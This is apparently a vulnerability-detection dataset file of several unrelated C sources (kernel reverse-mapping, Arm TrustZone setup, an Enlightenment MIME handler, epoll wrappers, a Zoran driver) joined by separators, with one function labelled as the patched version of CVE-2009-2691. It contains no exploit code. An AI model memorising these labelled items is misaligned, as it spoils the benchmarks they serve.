set_pte_at(mm, address, pvmw.pte, swp_pte);
/* Invalidate as we cleared the pte */
mmu_notifier_invalidate_range(mm, address,
address + PAGE_SIZE);
} else {
/*
* We should not need to notify here as we reach this
* case only from freeze_page() itself only call from
* split_huge_page_to_list() so everything below must
* be true:
* - page is not anonymous
* - page is locked
*
* So as it is a locked file back page thus it can not
* be remove from the page cache and replace by a new
* page before mmu_notifier_invalidate_range_end so no
* concurrent thread might update its page table to
* point at new page while a device still is using this
* page.
*
* See Documentation/vm/mmu_notifier.rst
*/
dec_mm_counter(mm, mm_counter_file(page));
}
discard:
/*
* No need to call mmu_notifier_invalidate_range() it has be
* done above for all cases requiring it to happen under page
* table lock before mmu_notifier_invalidate_range_end()
*
* See Documentation/vm/mmu_notifier.rst
*/
page_remove_rmap(subpage, PageHuge(page));
put_page(page);
}
mmu_notifier_invalidate_range_end(vma->vm_mm, start, end);
return ret;
}
bool is_vma_temporary_stack(struct vm_area_struct *vma)
{
int maybe_stack = vma->vm_flags & (VM_GROWSDOWN | VM_GROWSUP);
if (!maybe_stack)
return false;
if ((vma->vm_flags & VM_STACK_INCOMPLETE_SETUP) ==
VM_STACK_INCOMPLETE_SETUP)
return true;
return false;
}
static bool invalid_migration_vma(struct vm_area_struct *vma, void *arg)
{
return is_vma_temporary_stack(vma);
}
static int page_mapcount_is_zero(struct page *page)
{
return !total_mapcount(page);
}
/**
* try_to_unmap - try to remove all page table mappings to a page
* @page: the page to get unmapped
* @flags: action and flags
*
* Tries to remove all the page table entries which are mapping this
* page, used in the pageout path. Caller must hold the page lock.
*
* If unmap is successful, return true. Otherwise, false.
*/
bool try_to_unmap(struct page *page, enum ttu_flags flags)
{
struct rmap_walk_control rwc = {
.rmap_one = try_to_unmap_one,
.arg = (void *)flags,
.done = page_mapcount_is_zero,
.anon_lock = page_lock_anon_vma_read,
};
/*
* During exec, a temporary VMA is setup and later moved.
* The VMA is moved under the anon_vma lock but not the
* page tables leading to a race where migration cannot
* find the migration ptes. Rather than increasing the
* locking requirements of exec(), migration skips
* temporary VMAs until after exec() completes.
*/
if ((flags & (TTU_MIGRATION|TTU_SPLIT_FREEZE))
&& !PageKsm(page) && PageAnon(page))
rwc.invalid_vma = invalid_migration_vma;
if (flags & TTU_RMAP_LOCKED)
rmap_walk_locked(page, &rwc);
else
rmap_walk(page, &rwc);
return !page_mapcount(page) ? true : false;
}
static int page_not_mapped(struct page *page)
{
return !page_mapped(page);
};
/**
* try_to_munlock - try to munlock a page
* @page: the page to be munlocked
*
* Called from munlock code. Checks all of the VMAs mapping the page
* to make sure nobody else has this page mlocked. The page will be
* returned with PG_mlocked cleared if no other vmas have it mlocked.
*/
void try_to_munlock(struct page *page)
{
struct rmap_walk_control rwc = {
.rmap_one = try_to_unmap_one,
.arg = (void *)TTU_MUNLOCK,
.done = page_not_mapped,
.anon_lock = page_lock_anon_vma_read,
};
VM_BUG_ON_PAGE(!PageLocked(page) || PageLRU(page), page);
VM_BUG_ON_PAGE(PageCompound(page) && PageDoubleMap(page), page);
rmap_walk(page, &rwc);
}
void __put_anon_vma(struct anon_vma *anon_vma)
{
struct anon_vma *root = anon_vma->root;
anon_vma_free(anon_vma);
if (root != anon_vma && atomic_dec_and_test(&root->refcount))
anon_vma_free(root);
}
static struct anon_vma *rmap_walk_anon_lock(struct page *page,
struct rmap_walk_control *rwc)
{
struct anon_vma *anon_vma;
if (rwc->anon_lock)
return rwc->anon_lock(page);
/*
* Note: remove_migration_ptes() cannot use page_lock_anon_vma_read()
* because that depends on page_mapped(); but not all its usages
* are holding mmap_sem. Users without mmap_sem are required to
* take a reference count to prevent the anon_vma disappearing
*/
anon_vma = page_anon_vma(page);
if (!anon_vma)
return NULL;
anon_vma_lock_read(anon_vma);
return anon_vma;
}
/*
* rmap_walk_anon - do something to anonymous page using the object-based
* rmap method
* @page: the page to be handled
* @rwc: control variable according to each walk type
*
* Find all the mappings of a page using the mapping pointer and the vma chains
* contained in the anon_vma struct it points to.
*
* When called from try_to_munlock(), the mmap_sem of the mm containing the vma
* where the page was found will be held for write. So, we won't recheck
* vm_flags for that VMA. That should be OK, because that vma shouldn't be
* LOCKED.
*/
static void rmap_walk_anon(struct page *page, struct rmap_walk_control *rwc,
bool locked)
{
struct anon_vma *anon_vma;
pgoff_t pgoff_start, pgoff_end;
struct anon_vma_chain *avc;
if (locked) {
anon_vma = page_anon_vma(page);
/* anon_vma disappear under us? */
VM_BUG_ON_PAGE(!anon_vma, page);
} else {
anon_vma = rmap_walk_anon_lock(page, rwc);
}
if (!anon_vma)
return;
pgoff_start = page_to_pgoff(page);
pgoff_end = pgoff_start + hpage_nr_pages(page) - 1;
anon_vma_interval_tree_foreach(avc, &anon_vma->rb_root,
pgoff_start, pgoff_end) {
struct vm_area_struct *vma = avc->vma;
unsigned long address = vma_address(page, vma);
cond_resched();
if (rwc->invalid_vma && rwc->invalid_vma(vma, rwc->arg))
continue;
if (!rwc->rmap_one(page, vma, address, rwc->arg))
break;
if (rwc->done && rwc->done(page))
break;
}
if (!locked)
anon_vma_unlock_read(anon_vma);
}
/*
* rmap_walk_file - do something to file page using the object-based rmap method
* @page: the page to be handled
* @rwc: control variable according to each walk type
*
* Find all the mappings of a page using the mapping pointer and the vma chains
* contained in the address_space struct it points to.
*
* When called from try_to_munlock(), the mmap_sem of the mm containing the vma
* where the page was found will be held for write. So, we won't recheck
* vm_flags for that VMA. That should be OK, because that vma shouldn't be
* LOCKED.
*/
static void rmap_walk_file(struct page *page, struct rmap_walk_control *rwc,
bool locked)
{
struct address_space *mapping = page_mapping(page);
pgoff_t pgoff_start, pgoff_end;
struct vm_area_struct *vma;
/*
* The page lock not only makes sure that page->mapping cannot
* suddenly be NULLified by truncation, it makes sure that the
* structure at mapping cannot be freed and reused yet,
* so we can safely take mapping->i_mmap_rwsem.
*/
VM_BUG_ON_PAGE(!PageLocked(page), page);
if (!mapping)
return;
pgoff_start = page_to_pgoff(page);
pgoff_end = pgoff_start + hpage_nr_pages(page) - 1;
if (!locked)
i_mmap_lock_read(mapping);
vma_interval_tree_foreach(vma, &mapping->i_mmap,
pgoff_start, pgoff_end) {
unsigned long address = vma_address(page, vma);
cond_resched();
if (rwc->invalid_vma && rwc->invalid_vma(vma, rwc->arg))
continue;
if (!rwc->rmap_one(page, vma, address, rwc->arg))
goto done;
if (rwc->done && rwc->done(page))
goto done;
}
done:
if (!locked)
i_mmap_unlock_read(mapping);
}
void rmap_walk(struct page *page, struct rmap_walk_control *rwc)
{
if (unlikely(PageKsm(page)))
rmap_walk_ksm(page, rwc);
else if (PageAnon(page))
rmap_walk_anon(page, rwc, false);
else
rmap_walk_file(page, rwc, false);
}
/* Like rmap_walk, but caller holds relevant rmap lock */
void rmap_walk_locked(struct page *page, struct rmap_walk_control *rwc)
{
/* no ksm support for now */
VM_BUG_ON_PAGE(PageKsm(page), page);
if (PageAnon(page))
rmap_walk_anon(page, rwc, true);
else
rmap_walk_file(page, rwc, true);
}
#ifdef CONFIG_HUGETLB_PAGE
/*
* The following three functions are for anonymous (private mapped) hugepages.
* Unlike common anonymous pages, anonymous hugepages have no accounting code
* and no lru code, because we handle hugepages differently from common pages.
*/
static void __hugepage_set_anon_rmap(struct page *page,
struct vm_area_struct *vma, unsigned long address, int exclusive)
{
struct anon_vma *anon_vma = vma->anon_vma;
BUG_ON(!anon_vma);
if (PageAnon(page))
return;
if (!exclusive)
anon_vma = anon_vma->root;
anon_vma = (void *) anon_vma + PAGE_MAPPING_ANON;
page->mapping = (struct address_space *) anon_vma;
page->index = linear_page_index(vma, address);
}
void hugepage_add_anon_rmap(struct page *page,
struct vm_area_struct *vma, unsigned long address)
{
struct anon_vma *anon_vma = vma->anon_vma;
int first;
BUG_ON(!PageLocked(page));
BUG_ON(!anon_vma);
/* address might be in next vma when migration races vma_adjust */
first = atomic_inc_and_test(compound_mapcount_ptr(page));
if (first)
__hugepage_set_anon_rmap(page, vma, address, 0);
}
void hugepage_add_new_anon_rmap(struct page *page,
struct vm_area_struct *vma, unsigned long address)
{
BUG_ON(address < vma->vm_start || address >= vma->vm_end);
atomic_set(compound_mapcount_ptr(page), 0);
__hugepage_set_anon_rmap(page, vma, address, 1);
}
#endif /* CONFIG_HUGETLB_PAGE */
|
566604.c | /*
* Copyright (c) 2020, Arm Limited. All rights reserved.
*
* SPDX-License-Identifier: BSD-3-Clause
*/
#include <plat/arm/common/plat_arm.h>
#include <platform_def.h>
static const arm_tzc_regions_info_t tzc_regions[] = {
TC0_TZC_REGIONS_DEF,
{}
};
/* Initialize the secure environment */
void plat_arm_security_setup(void)
{
unsigned int i;
for (i = 0U; i < TZC400_COUNT; i++) {
arm_tzc400_setup(TZC400_BASE(i), tzc_regions);
}
}
|
660927.c | /*@ begin PerfTuning (
def build
{
arg command = 'icc';
arg options = '-fast -openmp -I/usr/local/icc/include -lm';
}
def performance_counter
{
arg method = 'basic timer';
arg repetitions = 1;
}
def performance_params
{
param T1[] = [1,8,16,32,64];
param U1[] = [8];
param U2[] = [1];
param VEC[] = [False];
}
def search
{
# arg algorithm = 'Simplex';
arg algorithm = 'Exhaustive';
# arg time_limit = 5;
# arg total_runs = 1;
}
def input_params
{
param TVAL = 10000;
param NVAL = 1000000;
decl int T = TVAL;
decl int N = NVAL;
decl double coeff1 = 0.5;
decl double coeff2 = 0.7;
decl double h[N] = random;
decl double e[N+1] = random;
}
) @*/
int t, i, j, k, l,ii;
#define S1(zT0,zT1,t,i) {e[i]=e[i]-coeff1*(h[i]-h[i-1]);}
#define S2(zT0,zT1,t,i) {h[i]=h[i]-coeff2*(e[1+i]-e[i]);}
int c1, c2, c3, c4, c5;
register int lb, ub, lb1, ub1, lb2, ub2;
register int lbv, ubv;
for (c1=-1;c1<=floord(N+2*T,512);c1++) {
lb1=max(max(0,ceild(256*c1-255,512)),ceild(512*c1-T,512));
ub1=min(min(floord(256*c1+255,256),floord(512*c1+N+511,1024)),floord(N+T,512));
#pragma omp parallel for shared(c1,lb1,ub1) private(c2,c3,c4,c5)
for (c2=lb1; c2<=ub1; c2++) {
if ((c1 <= floord(1024*c2-N,512)) && (c2 >= ceild(N+1,512))) {
S2(c1-c2,-c1+2*c2,512*c2-N,N-1) ;
}
for (c3=max(max(512*c2-N+1,512*c1-512*c2),1);c3<=min(min(512*c1-512*c2+511,512*c2-N+511),T);c3++) {
for (c4=max(512*c2,c3+1);c4<=c3+N-1;c4++) {
S1(c1-c2,-c1+2*c2,c3,-c3+c4) ;
S2(c1-c2,-c1+2*c2,c3,-c3+c4-1) ;
}
S2(c1-c2,-c1+2*c2,c3,N-1) ;
}
/*@ begin Loop(
transform Composite(
tile = [('c3',T1,'ii')],
unrolljam = [('c3',U1),('c4',U2)],
vector = (VEC, ['ivdep','vector always'])
)
for (c3=max(max(1,512*c1-512*c2),512*c2-N+512);c3<=min(min(512*c1-512*c2+511,T),512*c2+510);c3++)
for (c4=max(512*c2,c3+1);c4<=512*c2+511;c4++)
{
S1(c1-c2,-c1+2*c2,c3,-c3+c4) ;
S2(c1-c2,-c1+2*c2,c3,-c3+c4-1) ;
}
) @*/
/*@ end @*/
}
}
/*@ end @*/
|
268287.c | #include "e.h"
/* local types */
typedef struct _E_Fm2_Mime_Handler_Tuple E_Fm2_Mime_Handler_Tuple;
struct _E_Fm2_Mime_Handler_Tuple
{
Eina_List *list;
const char *str;
};
/* local subsystem functions */
static Eina_Bool _e_fm2_mime_handler_glob_match_foreach(const Eina_Hash *hash EINA_UNUSED, const void *key, void *data, void *fdata);
static Eina_Bool _e_fm_mime_icon_foreach(const Eina_Hash *hash EINA_UNUSED, const void *key EINA_UNUSED, void *data, void *fdata);
static Eina_Hash *icon_map = NULL;
static Eina_Hash *_mime_handlers = NULL;
static Eina_Hash *_glob_handlers = NULL;
/* externally accessible functions */
E_API const char *
e_fm_mime_filename_get(const char *fname)
{
return efreet_mime_globs_type_get(fname);
}
/* returns:
* NULL == don't know
* "THUMB" == generate a thumb
* "e/icons/fileman/mime/..." == theme icon
* "/path/to/file....edj" = explicit icon edje file
* "/path/to/file..." = explicit image file to use
*/
E_API const char *
e_fm_mime_icon_get(const char *mime)
{
char buf[4096], buf2[4096], *val;
Eina_List *l = NULL;
E_Config_Mime_Icon *mi;
size_t len;
/* 0.0 clean out hash cache once it has more than 512 entries in it */
if (eina_hash_population(icon_map) > 512) e_fm_mime_icon_cache_flush();
/* 0. look in mapping cache */
val = eina_hash_find(icon_map, mime);
if (val) return val;
eina_strlcpy(buf2, mime, sizeof(buf2));
val = strchr(buf2, '/');
if (val) *val = 0;
/* 1. look up in mapping to file or thumb (thumb has flag)*/
EINA_LIST_FOREACH(e_config->mime_icons, l, mi)
{
if (e_util_glob_match(mi->mime, mime))
{
eina_strlcpy(buf, mi->icon, sizeof(buf));
goto ok;
}
}
/* 2. look up in ~/.e/e/icons */
len = e_user_dir_snprintf(buf, sizeof(buf), "icons/%s.edj", mime);
if (len >= sizeof(buf))
goto try_e_icon_generic;
if (ecore_file_exists(buf)) goto ok;
memcpy(buf + len - (sizeof("edj") - 1), "svg", sizeof("svg"));
if (ecore_file_exists(buf)) goto ok;
memcpy(buf + len - (sizeof("edj") - 1), "png", sizeof("png"));
if (ecore_file_exists(buf)) goto ok;
try_e_icon_generic:
len = e_user_dir_snprintf(buf, sizeof(buf), "icons/%s.edj", buf2);
if (len >= sizeof(buf))
goto try_theme;
if (ecore_file_exists(buf)) goto ok;
memcpy(buf + len - (sizeof("edj") - 1), "svg", sizeof("svg"));
if (ecore_file_exists(buf)) goto ok;
memcpy(buf + len - (sizeof("edj") - 1), "png", sizeof("png"));
if (ecore_file_exists(buf)) goto ok;
/* 3. look up icon in theme */
try_theme:
memcpy(buf, "e/icons/fileman/mime/", sizeof("e/icons/fileman/mime/") - 1);
eina_strlcpy(buf + sizeof("e/icons/fileman/mime/") - 1, mime,
sizeof(buf) - (sizeof("e/icons/fileman/mime/") - 1));
val = (char *)e_theme_edje_file_get("base/theme/fileman", buf);
if ((val) && (e_util_edje_collection_exists(val, buf))) goto ok;
eina_strlcpy(buf + sizeof("e/icons/fileman/mime/") - 1, buf2,
sizeof(buf) - (sizeof("e/icons/fileman/mime/") - 1));
val = (char *)e_theme_edje_file_get("base/theme/fileman", buf);
if ((val) && (e_util_edje_collection_exists(val, buf))) goto ok;
/* 4. look up icon in PREFIX/share/enlightent/data/icons */
len = e_prefix_data_snprintf(buf, sizeof(buf), "data/icons/%s.edj", mime);
if (len >= sizeof(buf))
goto try_efreet_icon_generic;
if (ecore_file_exists(buf)) goto ok;
memcpy(buf + len - (sizeof("edj") - 1), "svg", sizeof("svg"));
if (ecore_file_exists(buf)) goto ok;
memcpy(buf + len - (sizeof("edj") - 1), "png", sizeof("png"));
if (ecore_file_exists(buf)) goto ok;
try_efreet_icon_generic:
len = e_prefix_data_snprintf(buf, sizeof(buf), "data/icons/%s.edj", buf2);
if (len >= sizeof(buf))
goto try_efreet_icon_generic;
if (ecore_file_exists(buf)) goto ok;
memcpy(buf + len - (sizeof("edj") - 1), "svg", sizeof("svg"));
if (ecore_file_exists(buf)) goto ok;
memcpy(buf + len - (sizeof("edj") - 1), "png", sizeof("png"));
if (ecore_file_exists(buf)) goto ok;
return NULL;
ok:
val = (char *)eina_stringshare_add(buf);
if (!icon_map) icon_map = eina_hash_string_superfast_new(NULL);
eina_hash_add(icon_map, mime, val);
return val;
}
E_API void
e_fm_mime_icon_cache_flush(void)
{
Eina_List *freelist = NULL;
eina_hash_foreach(icon_map, _e_fm_mime_icon_foreach, &freelist);
E_FREE_LIST(freelist, eina_stringshare_del);
eina_hash_free(icon_map);
icon_map = NULL;
}
/* create (allocate), set properties, and return a new mime handler */
E_API E_Fm2_Mime_Handler *
e_fm2_mime_handler_new(const char *label, const char *icon_group, void (*action_func)(void *data, Evas_Object *obj, const char *path), void *action_data, int(test_func) (void *data, Evas_Object * obj, const char *path), void *test_data)
{
E_Fm2_Mime_Handler *handler;
if ((!label) || (!action_func)) return NULL;
handler = E_NEW(E_Fm2_Mime_Handler, 1);
if (!handler) return NULL;
handler->label = eina_stringshare_add(label);
handler->icon_group = icon_group ? eina_stringshare_add(icon_group) : NULL;
handler->action_func = action_func;
handler->action_data = action_data;
handler->test_func = test_func;
handler->test_data = test_data;
return handler;
}
E_API void
e_fm2_mime_handler_free(E_Fm2_Mime_Handler *handler)
{
if (!handler) return;
eina_stringshare_del(handler->label);
if (handler->icon_group) eina_stringshare_del(handler->icon_group);
E_FREE(handler);
}
/* associate a certain mime type with a handler */
E_API Eina_Bool
e_fm2_mime_handler_mime_add(E_Fm2_Mime_Handler *handler, const char *mime)
{
Eina_List *handlers = NULL;
if ((!handler) || (!mime)) return 0;
/* if there's an entry for this mime already, then append to its list */
if ((handlers = eina_hash_find(_mime_handlers, mime)))
{
handlers = eina_list_append(handlers, handler);
eina_hash_modify(_mime_handlers, mime, handlers);
}
else
{
/* no previous entry for this mime, lets add one */
handlers = eina_list_append(handlers, handler);
if (!_mime_handlers) _mime_handlers = eina_hash_string_superfast_new(NULL);
eina_hash_add(_mime_handlers, mime, handlers);
}
return 1;
}
/* associate a certain glob with a handler */
E_API Eina_Bool
e_fm2_mime_handler_glob_add(E_Fm2_Mime_Handler *handler, const char *glob_)
{
Eina_List *handlers = NULL;
if ((!handler) || (!glob_)) return 0;
/* if there's an entry for this glob already, then append to its list */
if ((handlers = eina_hash_find(_glob_handlers, glob_)))
{
handlers = eina_list_append(handlers, handler);
eina_hash_modify(_glob_handlers, glob_, handlers);
}
else
{
/* no previous entry for this glob, lets add one */
handlers = eina_list_append(handlers, handler);
if (!_glob_handlers) _glob_handlers = eina_hash_string_superfast_new(NULL);
eina_hash_add(_glob_handlers, glob_, handlers);
}
return 1;
}
/* delete a certain handler for a certain mime */
E_API void
e_fm2_mime_handler_mime_del(E_Fm2_Mime_Handler *handler, const char *mime)
{
Eina_List *handlers = NULL;
if ((!handler) || (!mime)) return;
/* if there's an entry for this mime already, then remove from list */
if ((handlers = eina_hash_find(_mime_handlers, mime)))
{
handlers = eina_list_remove(handlers, handler);
if (handlers)
eina_hash_modify(_mime_handlers, mime, handlers);
else
{
eina_hash_del(_mime_handlers, mime, handlers);
if (!eina_hash_population(_mime_handlers))
{
eina_hash_free(_mime_handlers);
_mime_handlers = NULL;
}
}
}
}
/* delete a certain handler for a certain glob */
E_API void
e_fm2_mime_handler_glob_del(E_Fm2_Mime_Handler *handler, const char *glob_)
{
Eina_List *handlers = NULL;
if ((!handler) || (!glob_)) return;
/* if there's an entry for this glob already, then remove from list */
if ((handlers = eina_hash_find(_glob_handlers, glob_)))
{
handlers = eina_list_remove(handlers, handler);
if (handlers)
eina_hash_modify(_glob_handlers, glob_, handlers);
else
{
eina_hash_del(_glob_handlers, glob_, handlers);
if (!eina_hash_population(_glob_handlers))
{
eina_hash_free(_glob_handlers);
_glob_handlers = NULL;
}
}
}
}
E_API const Eina_List *
e_fm2_mime_handler_mime_handlers_get(const char *mime)
{
if ((!mime) || (!_mime_handlers)) return NULL;
return eina_hash_find(_mime_handlers, mime);
}
/* get the list of glob handlers for a glob.
NOTE: the list should be free()'ed */
E_API Eina_List *
e_fm2_mime_handler_glob_handlers_get(const char *glob_)
{
E_Fm2_Mime_Handler_Tuple *tuple = NULL;
Eina_List *handlers = NULL;
if ((!glob_) || (!_glob_handlers)) return NULL;
tuple = E_NEW(E_Fm2_Mime_Handler_Tuple, 1);
tuple->list = NULL;
tuple->str = glob_;
eina_hash_foreach(_glob_handlers, _e_fm2_mime_handler_glob_match_foreach, tuple);
handlers = tuple->list;
E_FREE(tuple);
return handlers;
}
/* call a certain handler */
E_API Eina_Bool
e_fm2_mime_handler_call(E_Fm2_Mime_Handler *handler, Evas_Object *obj, const char *path)
{
if ((!handler) || (!obj) || (!path) || (!handler->action_func))
return 0;
if (handler->test_func)
{
if (handler->test_func(handler->test_data, obj, path))
{
handler->action_func(handler->action_data, obj, path);
return 1;
}
else
return 0;
}
handler->action_func(handler->action_data, obj, path);
return 1;
}
/* call all handlers related to a certain mime */
E_API void
e_fm2_mime_handler_mime_handlers_call_all(Evas_Object *obj, const char *path, const char *mime)
{
const Eina_List *l, *handlers;
E_Fm2_Mime_Handler *handler = NULL;
if ((!obj) || (!path) || (!mime)) return;
handlers = e_fm2_mime_handler_mime_handlers_get(mime);
if (!handlers) return;
EINA_LIST_FOREACH(handlers, l, handler)
{
if (!handler) continue;
e_fm2_mime_handler_call(handler, obj, path);
}
}
/* call all handlers related to a certain glob */
E_API void
e_fm2_mime_handler_glob_handlers_call_all(Evas_Object *obj, const char *path, const char *glob_)
{
Eina_List *handlers = NULL;
Eina_List *l = NULL;
E_Fm2_Mime_Handler *handler = NULL;
if ((!obj) || (!path) || (!glob_)) return;
handlers = e_fm2_mime_handler_glob_handlers_get(glob_);
if (!handlers) return;
EINA_LIST_FOREACH(handlers, l, handler)
{
if (!handler) continue;
e_fm2_mime_handler_call(handler, obj, path);
}
}
/* run a handlers test function */
E_API Eina_Bool
e_fm2_mime_handler_test(E_Fm2_Mime_Handler *handler, Evas_Object *obj, const char *path)
{
if ((!handler) || (!obj) || (!path)) return 0;
if (!handler->test_func) return 1;
return handler->test_func(handler->test_data, obj, path);
}
/* local subsystem functions */
/* used to loop a glob hash and determine if the glob handler matches the filename */
static Eina_Bool
_e_fm2_mime_handler_glob_match_foreach(const Eina_Hash *hash EINA_UNUSED, const void *key, void *data, void *fdata)
{
E_Fm2_Mime_Handler_Tuple *tuple;
Eina_List *handlers = NULL;
Eina_List *l = NULL;
void *handler = NULL;
tuple = fdata;
if (e_util_glob_match(tuple->str, key))
{
handlers = data;
EINA_LIST_FOREACH(handlers, l, handler)
{
if (handler)
tuple->list = eina_list_append(tuple->list, handler);
}
}
return 1;
}
static Eina_Bool
_e_fm_mime_icon_foreach(const Eina_Hash *hash EINA_UNUSED, const void *key EINA_UNUSED, void *data, void *fdata)
{
Eina_List **freelist;
freelist = fdata;
*freelist = eina_list_append(*freelist, data);
return 1;
}
|
769952.c | struct mm_struct *CVE_2009_2691_PATCHED_mm_for_maps(struct task_struct *task)
{
struct mm_struct *mm = get_task_mm(task);
if (!mm)
return NULL;
if (mm != current->mm) {
/*
* task->mm can be changed before security check,
* in that case we must notice the change after.
*/
if (!ptrace_may_access(task, PTRACE_MODE_READ) ||
mm != task->mm) {
mmput(mm);
return NULL;
}
}
down_read(&mm->mmap_sem);
return mm;
}
|
700098.c | /*
* Copyright (C) 2018 "IoT.bzh"
* Author José Bollo <[email protected]>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <errno.h>
#include <unistd.h>
#include <sys/epoll.h>
#define FDEV_PROVIDER
#include "fdev.h"
#include "fdev-epoll.h"
/*
* For sake of simplicity there is no struct fdev_epoll.
* Instead, the file descriptor of the internal epoll is used
* and wrapped in a pseudo pointer to a pseudo struct.
*/
#define epollfd(fdev_epoll) ((int)(intptr_t)fdev_epoll)
/*
* disable callback for fdev
*
* refs to fdev must not be counted here
*/
static void disable(void *closure, const struct fdev *fdev)
{
struct fdev_epoll *fdev_epoll = closure;
epoll_ctl(epollfd(fdev_epoll), EPOLL_CTL_DEL, fdev_fd(fdev), 0);
}
/*
* enable callback for fdev
*
* refs to fdev must not be counted here
*/
static void enable_or_update(void *closure, const struct fdev *fdev, int op, int err)
{
struct fdev_epoll *fdev_epoll = closure;
struct epoll_event event;
int rc, fd;
fd = fdev_fd(fdev);
event.events = fdev_events(fdev);
event.data.ptr = (void*)fdev;
rc = epoll_ctl(epollfd(fdev_epoll), op, fd, &event);
if (rc < 0 && errno == err)
epoll_ctl(epollfd(fdev_epoll), (EPOLL_CTL_MOD + EPOLL_CTL_ADD) - op, fd, &event);
}
/*
* enable callback for fdev
*
* refs to fdev must not be counted here
*/
static void enable(void *closure, const struct fdev *fdev)
{
enable_or_update(closure, fdev, EPOLL_CTL_ADD, EEXIST);
}
/*
* update callback for fdev
*
* refs to fdev must not be counted here
*/
static void update(void *closure, const struct fdev *fdev)
{
enable_or_update(closure, fdev, EPOLL_CTL_MOD, ENOENT);
}
/*
* unref is not handled here
*/
static struct fdev_itf itf =
{
.unref = 0,
.disable = disable,
.enable = enable,
.update = update
};
/*
* create an fdev_epoll
*/
struct fdev_epoll *fdev_epoll_create()
{
int fd = epoll_create1(EPOLL_CLOEXEC);
if (!fd) {
fd = dup(fd);
close(0);
}
return fd < 0 ? 0 : (struct fdev_epoll*)(intptr_t)fd;
}
/*
* destroy the fdev_epoll
*/
void fdev_epoll_destroy(struct fdev_epoll *fdev_epoll)
{
close(epollfd(fdev_epoll));
}
/*
* get pollable fd for the fdev_epoll
*/
int fdev_epoll_fd(struct fdev_epoll *fdev_epoll)
{
return epollfd(fdev_epoll);
}
/*
* create an fdev linked to the 'fdev_epoll' for 'fd'
*/
struct fdev *fdev_epoll_add(struct fdev_epoll *fdev_epoll, int fd)
{
struct fdev *fdev;
fdev = fdev_create(fd);
if (fdev)
fdev_set_itf(fdev, &itf, fdev_epoll);
return fdev;
}
/*
* get pollable fd for the fdev_epoll
*/
int fdev_epoll_wait_and_dispatch(struct fdev_epoll *fdev_epoll, int timeout_ms)
{
struct fdev *fdev;
struct epoll_event events;
int rc;
rc = epoll_wait(epollfd(fdev_epoll), &events, 1, timeout_ms < 0 ? -1 : timeout_ms);
if (rc == 1) {
fdev = events.data.ptr;
fdev_dispatch(fdev, events.events);
}
return rc;
}
|
586342.c | /*
* Zoran zr36057/zr36067 PCI controller driver, for the
* Pinnacle/Miro DC10/DC10+/DC30/DC30+, Iomega Buz, Linux
* Media Labs LML33/LML33R10.
*
* Copyright (C) 2000 Serguei Miridonov <[email protected]>
*
* Changes for BUZ by Wolfgang Scherr <[email protected]>
*
* Changes for DC10/DC30 by Laurent Pinchart <[email protected]>
*
* Changes for LML33R10 by Maxim Yevtyushkin <[email protected]>
*
* Changes for videodev2/v4l2 by Ronald Bultje <[email protected]>
*
* Based on
*
* Miro DC10 driver
* Copyright (C) 1999 Wolfgang Scherr <[email protected]>
*
* Iomega Buz driver version 1.0
* Copyright (C) 1999 Rainer Johanni <[email protected]>
*
* buz.0.0.3
* Copyright (C) 1998 Dave Perks <[email protected]>
*
* bttv - Bt848 frame grabber driver
* Copyright (C) 1996,97,98 Ralph Metzler ([email protected])
* & Marcus Metzler ([email protected])
*
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*/
#include <linux/version.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/delay.h>
#include <linux/slab.h>
#include <linux/pci.h>
#include <linux/vmalloc.h>
#include <linux/wait.h>
#include <linux/interrupt.h>
#include <linux/i2c.h>
#include <linux/i2c-algo-bit.h>
#include <linux/spinlock.h>
#include <linux/videodev2.h>
#include <media/v4l2-common.h>
#include <media/v4l2-ioctl.h>
#include "videocodec.h"
#include <asm/byteorder.h>
#include <asm/io.h>
#include <asm/uaccess.h>
#include <linux/proc_fs.h>
#include <linux/mutex.h>
#include "zoran.h"
#include "zoran_device.h"
#include "zoran_card.h"
const struct zoran_format zoran_formats[] = {
{
.name = "15-bit RGB LE",
.fourcc = V4L2_PIX_FMT_RGB555,
.colorspace = V4L2_COLORSPACE_SRGB,
.depth = 15,
.flags = ZORAN_FORMAT_CAPTURE |
ZORAN_FORMAT_OVERLAY,
.vfespfr = ZR36057_VFESPFR_RGB555|ZR36057_VFESPFR_ErrDif|
ZR36057_VFESPFR_LittleEndian,
}, {
.name = "15-bit RGB BE",
.fourcc = V4L2_PIX_FMT_RGB555X,
.colorspace = V4L2_COLORSPACE_SRGB,
.depth = 15,
.flags = ZORAN_FORMAT_CAPTURE |
ZORAN_FORMAT_OVERLAY,
.vfespfr = ZR36057_VFESPFR_RGB555|ZR36057_VFESPFR_ErrDif,
}, {
.name = "16-bit RGB LE",
.fourcc = V4L2_PIX_FMT_RGB565,
.colorspace = V4L2_COLORSPACE_SRGB,
.depth = 16,
.flags = ZORAN_FORMAT_CAPTURE |
ZORAN_FORMAT_OVERLAY,
.vfespfr = ZR36057_VFESPFR_RGB565|ZR36057_VFESPFR_ErrDif|
ZR36057_VFESPFR_LittleEndian,
}, {
.name = "16-bit RGB BE",
.fourcc = V4L2_PIX_FMT_RGB565X,
.colorspace = V4L2_COLORSPACE_SRGB,
.depth = 16,
.flags = ZORAN_FORMAT_CAPTURE |
ZORAN_FORMAT_OVERLAY,
.vfespfr = ZR36057_VFESPFR_RGB565|ZR36057_VFESPFR_ErrDif,
}, {
.name = "24-bit RGB",
.fourcc = V4L2_PIX_FMT_BGR24,
.colorspace = V4L2_COLORSPACE_SRGB,
.depth = 24,
.flags = ZORAN_FORMAT_CAPTURE |
ZORAN_FORMAT_OVERLAY,
.vfespfr = ZR36057_VFESPFR_RGB888|ZR36057_VFESPFR_Pack24,
}, {
.name = "32-bit RGB LE",
.fourcc = V4L2_PIX_FMT_BGR32,
.colorspace = V4L2_COLORSPACE_SRGB,
